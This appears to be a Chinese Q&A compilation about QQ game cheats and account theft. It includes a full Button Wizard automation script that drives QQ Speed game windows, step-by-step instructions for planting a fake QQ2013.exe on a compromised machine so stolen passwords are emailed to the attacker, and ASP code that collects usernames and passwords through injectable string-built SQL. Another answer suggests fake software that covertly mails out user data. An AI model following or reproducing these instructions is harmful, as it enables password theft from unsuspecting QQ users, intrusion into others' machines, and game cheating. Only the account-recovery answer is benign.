本文目录一览:
- 1、跪求QQ飞车辅助源码,好多辅助都是改的界面,其实是1个G,是哪个G啊?求那个G的源码!20分
- 2、盗号器是什么
- 3、用易语言做生成器用的ASP木马源码
- 4、qq被源代码盗号还能找回么?
- 5、按键精灵源码能写病毒么?能窃取资料么
跪求QQ飞车辅助源码,好多辅助都是改的界面,其实是1个G,是哪个G啊?求那个G的源码!20分
我叫小龙 我的QQ 9743 9217 我送你源码吧 不懂的可以来问我
//密码:520
下面就是源码
//以下是帖子的源码、
//注:紫色字体都是可以修改的提示话语
//============================================================
//注册大漠
//释放附件
PutAttachment ".\plugin","regDll.dll"
PutAttachment "C:\test_game","*.bmp"
PutAttachment "C:\test_game","*.txt"
PutAttachment "C:\test_game","dm.dll"
//大漠注册
Call Plugin.RegDll.Reg("C:\test_game\dm.dll")
set aa = createobject("dm.dmsoft")
//指定 全局路径
aa.SetPath "C:\test_game"
Delay 40
//获取鼠标指向的窗口句柄
hwnd = aa.GetMousePointWindow()
//激活该窗口
aa_ret = aa.SetWindowState(hwnd, 1)
//窗口置顶
//绑定窗口句柄
aa_ret = aa.BindWindow(hwnd, "dx", "dx", "dx", 1)
Delay 200
//创建一个对象(aa),并检查对象是否创建成功
If aa_ret=0 Then
MessageBox "绑定“失败”"
ExitScript
End If
//多线程控制小号
BeginThread min
//大号脚本编写包括(移动游戏窗口、准备、开始)
Delay 100
//移动游戏窗口到屏幕0,0位置(这里0,0自己可以修改例如-300,0|-200,0|-100,0 随便改都可以)
aa.MoveWindow hwnd, 0, 0
Delay 500
Rem 大准备
aa_ret = aa.FindPic(0,0,1024,768,"打开.bmp","000000",1,1,intX,intY)
If intX = 0 and intY = 0 Then
aa.Moveto 495,127
Delay 100
aa.LeftClick
Else
End If
//大号中的“一次找图”,判断是否开始游戏
aa_ret = aa.FindPic(0,0,1024,768,"确定.bmp","000000",1,1,intX,intY)
If intX = 0 and intY = 0 Then
Delay 200
aa.MoveTo 310,342
Delay 100
aa.LeftClick
Else
aa_ret = aa.FindPic(477,383,590,448,"300.bmp","000000",1,1,intX,intY)
If intX = 0 and intY = 0 Then
aa.keyUp 87
aa.KeyDown 68
Delay 2000
aa.keyup 68
End If
//大号中的“二次找图”判断是否开始游戏
aa_ret = aa.FindPic(0,0,1024,768,"准备.bmp|开始游戏.bmp","000000",1,1,intX,intY)
If intX = 0 and intY = 0 Then
aa.Moveto 64, 19
Delay 100
aa.LeftClick
Delay 300
Else
Goto 检测1
End If
End If
Goto 大准备
//大号开始跑了
Rem 检测1
aa.KeyDown 87
Delay 100
aa.keypress 69
Delay 100
aa.keypress 32
aa_ret = aa.FindPic(0,0,1024,768,"d.bmp|b.bmp","000000",1,1,intX,intY)
If intX = 0 and intY = 0 Then
aa.keypress 82
Else
aa_ret = aa.FindPic(477,383,590,448,"300.bmp","000000",1,1,intX,intY)
If intX = 0 and intY = 0 Then
aa.keyUp 87
aa.KeyDown 68
Delay 2000
aa.keyup 68
End If
End If
Goto 大准备
//小号跑前准备、呵呵
Sub min()
set cc = createobject("dm.dmsoft")
//↑大漠•注册
cc.SetPath "C:\test_game"
Delay 40
//小号标题名称(支持模糊查找、、例如我这里也可以用“忘记时间”)
hwnd = cc.FindWindow("", "忘记时间爱你")
cc_ret = cc.SetWindowState(hwnd, 1)
// display: dx 鼠标:windows后台 键盘:windows后台 模式1
cc_ret = cc.BindWindow(hwnd, "dx", "dx", "dx", 1)
Delay 100
If cc_ret=0 Then
MessageBox "绑定“失败”"
ExitScript
End If
//脚本编写包括(移动游戏窗口、准备、开始)
Delay 100
//移动游戏窗口到屏幕0,0位置(这里0,300自己可以修改例如-300,300|-400,200|-100,200 随便改)
cc.MoveWindow hwnd, 0, 300
Delay 500
Rem 小准
cc_ret = cc.FindPic(0,0,1024,768,"打开.bmp","000000",1,1,intX,intY)
If intX = 0 and intY = 0 Then
cc.Moveto 495,127
Delay 200
cc.LeftClick
Else
End If
cc_ret = cc.FindPic(484,386,587,437,"300.bmp","000000",1,1,intX,intY)
If intX = 0 and intY = 0 Then
cc.KeyUp 87
cc.keyDown 68
Delay 2000
cc.KeyUp 68
End If
//小号中的“一次找图”,判断是否开始游戏
Delay 200
cc_ret = cc.FindPic(0,0,1024,768,"确定.bmp","000000",1,1,intX,intY)
If intX = 0 and intY = 0 Then
Delay 200
cc.MoveTo 322,342
Delay 200
cc.LeftClick
Else
cc_ret = cc.FindPic(0,0,1024,768,"准备.bmp|开始游戏.bmp","000000",1,1,intX,intY)
If intX = 0 and intY = 0 Then
Delay 200
cc.moveto 55, 21
Delay 200
cc.leftclick
Else
Goto 检测2
End If
End If
Goto 小准
Rem 检测2
cc.KeyDown 87
Delay 100
cc.keypress 69
Delay 100
cc.keypress 32
cc_ret = cc.FindPic(0,0,1024,768,"x.bmp|b.bmp","000000",1,1,intX,intY)
If intX = 0 and intY = 0 Then
cc.KeyPress 82
Else
cc_ret = cc.FindPic(484,386,587,437,"300.bmp","000000",1,1,intX,intY)
If intX = 0 and intY = 0 Then
cc.KeyUp 87
cc.keyDown 68
Delay 2000
cc.KeyUp 68
End If
End If
Goto 小准
End Sub
//绑定之后,必须加上“这段代码”
//停止“主程序”和“每个线程”时,都会调用“这段代码”
Sub OnScriptExit()
aa_ret = aa.UnBindWindow()
End Sub
盗号器是什么
这个是原理
必须将源码中利用SMPT发送密码的部分,改成你自己的邮箱,然后重新编译成可执行文件。
2.找到一台你入侵的主机(别问我怎样去占领一台肉鸡),将生成的QQ2013.exe放置于肉鸡上QQ所在的目录下,如可能是c:\program files\tencent。
3.创建QQ2013.exe的快捷方式,并改名为"腾讯QQ"。
4.将肉鸡上凡是有"腾讯QQ"快捷方式的地方用刚才创建的那个替换.
5.等着别人的密码发回来吧
用易语言做生成器用的ASP木马源码
ASP很简单的,弄个简单数据库ZH.MDB就用户名和密码两个字段,
%
dim conn
dim connstr
connstr="DBQ="+server.mappath("ZH.mdb")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"
set conn=server.createobject("ADODB.CONNECTION")
conn.open connstr
username=request("username")
password=request("password")
qq=request("qq")
email=request("email")
tuijianren=request("tuijianren")
set rs=server.createobject("adodb.recordset")
sql="select * from user_msg where [用户名]='" username "'"
rs.open sql,conn,1,3
if not (rs.eof and rs.bof) then
response.write "ER!"
else
sql="insert into user_msg ([用户名],[密码]) values ('" username "','" password "')"
conn.execute( sql)
response.write "OK!"
end if
%
然后用HTTP读文件(“?username=编辑框1.内容password=bjk2.nr”,,)
就好了,没安装易语言,你可以改一下就可以用了
qq被源代码盗号还能找回么?
源代码是什么恐怕你都不理解,你以为是一大串你看不懂的字母吗?不是的,这个是编程语言,C语言、Java语言等等都属于编程语言,甚至连二进制等,这些都可以算作是源代码。而单纯的依赖源代码是无法盗号的,即使计算机之父来了也不能。
说那些源代码你很难理解,就说被盗号怎么找回吧。被盗号唯一的渠道就是去申诉,拿出你有力的证据,自己证明这个号是你自己的,只有你自己能证明了,号自然也就可以找回。比如用实名制、即使对方把你的手机号修改了,也可以依赖实名制找回。没有实名制,也没有手机号,啥都没有,连你自己都不能证明,还如何让别人甚至客服相信你,这还不如说天上那辆飞机是我的,你说谁会信。
至于下面的小骗子说有点棘手、不过能。能什么,我这随便考问他几个账号找回的问题、让他到网上找答案都回答不上来。骗人可以,不过智商有点太低了。就这样的骗子,我要是愿意,随便挖个坑让骗子往里跳,送进去监狱改造改造,猖狂。
按键精灵源码能写病毒么?能窃取资料么
按键精灵写软件一般是模似按键操作,你所说的是盗号之类的操作吗?做个假的功能软件,做个隐藏的资料一键发邮箱就行,带注册帐户功能的。学习编程的目的是学习技术,请不要触碰法律